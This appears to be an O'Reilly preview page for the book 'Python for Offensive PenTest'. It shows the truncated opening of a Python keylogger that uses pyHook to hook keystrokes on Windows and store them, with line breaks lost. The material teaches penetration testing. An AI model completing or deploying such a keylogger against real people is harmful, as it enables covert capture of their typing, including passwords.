Skip to Content
Python for Offensive PenTest
book

Python for Offensive PenTest

by Hussam Khrais
April 2018
Intermediate to advanced content levelIntermediate to advanced
176 pages
4h 16m
English
Packt Publishing
Content preview from Python for Offensive PenTest

Adding code to keylogger

The following is the script for keylogger:

# Python For Offensive PenTest# pyHook download link# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/# pythoncom download link# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/# Keyloggerimport pythoncom, pyHook#Again, once the user hit any keyboard button, keypressed func will be executed and that action will be store in eventdef keypressed(event):    global store#Enter and backspace are not handled properly that's why we hardcode their values to < Enter > and <BACK SPACE># note that we can know if the user input was enter or backspace based on their ASCII values        if event.Ascii==13:        keys=' < Enter > '     elif event.Ascii==8: keys=' <BACK SPACE> ' ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Python Penetration Testing Cookbook

Python Penetration Testing Cookbook

Rejah Rehim

Publisher Resources

ISBN: 9781788838979Supplemental Content